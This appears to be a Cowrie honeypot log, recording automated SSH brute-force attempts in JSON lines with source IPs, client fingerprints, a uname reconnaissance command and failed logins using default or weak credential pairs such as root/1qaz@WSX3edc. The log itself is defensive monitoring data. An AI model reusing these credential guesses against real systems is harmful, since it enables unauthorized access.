{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:47.978789Z","src_ip":"95.38.165.118","session":"3bc7bfa51e5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:48.160111Z","src_ip":"95.38.165.118","session":"3bc7bfa51e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:48.165401Z","src_ip":"95.38.165.118","session":"3bc7bfa51e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54218,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1aeaac93326","protocol":"ssh","message":"New connection: 95.38.165.118:54218 (10.17.0.5:22) [session: d1aeaac93326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:51.083956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:51.089436Z","src_ip":"95.38.165.118","session":"d1aeaac93326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:52.046461Z","src_ip":"95.38.165.118","session":"d1aeaac93326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:53.649214Z","src_ip":"95.38.165.118","session":"d1aeaac93326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:55.244123Z","src_ip":"95.38.165.118","session":"d1aeaac93326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54322,"dst_ip":"10.17.0.5","dst_port":22,"session":"021a01d3949d","protocol":"ssh","message":"New connection: 95.38.165.118:54322 (10.17.0.5:22) [session: 021a01d3949d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:56.950967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:57.003038Z","src_ip":"95.38.165.118","session":"021a01d3949d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:57.155578Z","src_ip":"95.38.165.118","session":"021a01d3949d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:59.709036Z","src_ip":"95.38.165.118","session":"021a01d3949d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:01.834983Z","src_ip":"95.38.165.118","session":"021a01d3949d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54326,"dst_ip":"10.17.0.5","dst_port":22,"session":"27646be1bdab","protocol":"ssh","message":"New connection: 95.38.165.118:54326 (10.17.0.5:22) [session: 27646be1bdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:02.883504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:02.890750Z","src_ip":"95.38.165.118","session":"27646be1bdab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:03.607351Z","src_ip":"95.38.165.118","session":"27646be1bdab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:05.054042Z","src_ip":"95.38.165.118","session":"27646be1bdab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:06.311434Z","src_ip":"95.38.165.118","session":"27646be1bdab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41236,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b57da46dbcc","protocol":"ssh","message":"New connection: 95.38.165.118:41236 (10.17.0.5:22) [session: 2b57da46dbcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:09.344065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:09.349659Z","src_ip":"95.38.165.118","session":"2b57da46dbcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:09.895444Z","src_ip":"95.38.165.118","session":"2b57da46dbcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:12.323034Z","src_ip":"95.38.165.118","session":"2b57da46dbcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:13.494005Z","src_ip":"95.38.165.118","session":"2b57da46dbcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41242,"dst_ip":"10.17.0.5","dst_port":22,"session":"d47a612656e1","protocol":"ssh","message":"New connection: 95.38.165.118:41242 (10.17.0.5:22) [session: d47a612656e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:13.586771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:13.834239Z","src_ip":"95.38.165.118","session":"d47a612656e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:13.838657Z","src_ip":"95.38.165.118","session":"d47a612656e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:16.057070Z","src_ip":"95.38.165.118","session":"d47a612656e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50472,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c546cd5af12","protocol":"telnet","message":"New connection: 69.4.83.194:50472 (159.203.135.109:23) [session: 9c546cd5af12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:16.098210Z"}
{"eventid":"cowrie.session.closed","duration":59.63793969154358,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:16.186448Z","src_ip":"178.128.93.180","session":"936f2c6cb893","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:17.251956Z","src_ip":"95.38.165.118","session":"d47a612656e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34484,"dst_ip":"10.17.0.5","dst_port":22,"session":"858ffe301b5c","protocol":"ssh","message":"New connection: 95.38.165.118:34484 (10.17.0.5:22) [session: 858ffe301b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:19.546575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:19.553977Z","src_ip":"95.38.165.118","session":"858ffe301b5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:19.726658Z","src_ip":"95.38.165.118","session":"858ffe301b5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.80748796463013,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:20.122585Z","src_ip":"165.22.57.101","session":"514bae0a2f6e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:21.270771Z","src_ip":"95.38.165.118","session":"858ffe301b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":42010,"dst_ip":"159.203.135.109","dst_port":22,"session":"878c6ea0ab4f","protocol":"ssh","message":"New connection: 77.239.106.153:42010 (159.203.135.109:22) [session: 878c6ea0ab4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:22.191430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:22.196845Z","src_ip":"77.239.106.153","session":"878c6ea0ab4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:22.290667Z","src_ip":"77.239.106.153","session":"878c6ea0ab4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sac","password":"sac","message":"login attempt [sac/sac] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:22.695721Z","src_ip":"77.239.106.153","session":"878c6ea0ab4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:23.058800Z","src_ip":"95.38.165.118","session":"858ffe301b5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:23.795934Z","src_ip":"77.239.106.153","session":"878c6ea0ab4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34492,"dst_ip":"10.17.0.5","dst_port":22,"session":"0da07561ce51","protocol":"ssh","message":"New connection: 95.38.165.118:34492 (10.17.0.5:22) [session: 0da07561ce51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:26.016085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:26.022906Z","src_ip":"95.38.165.118","session":"0da07561ce51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:00:26.201345Z","src_ip":"95.38.165.118","session":"0da07561ce51","protocol":"ssh"}
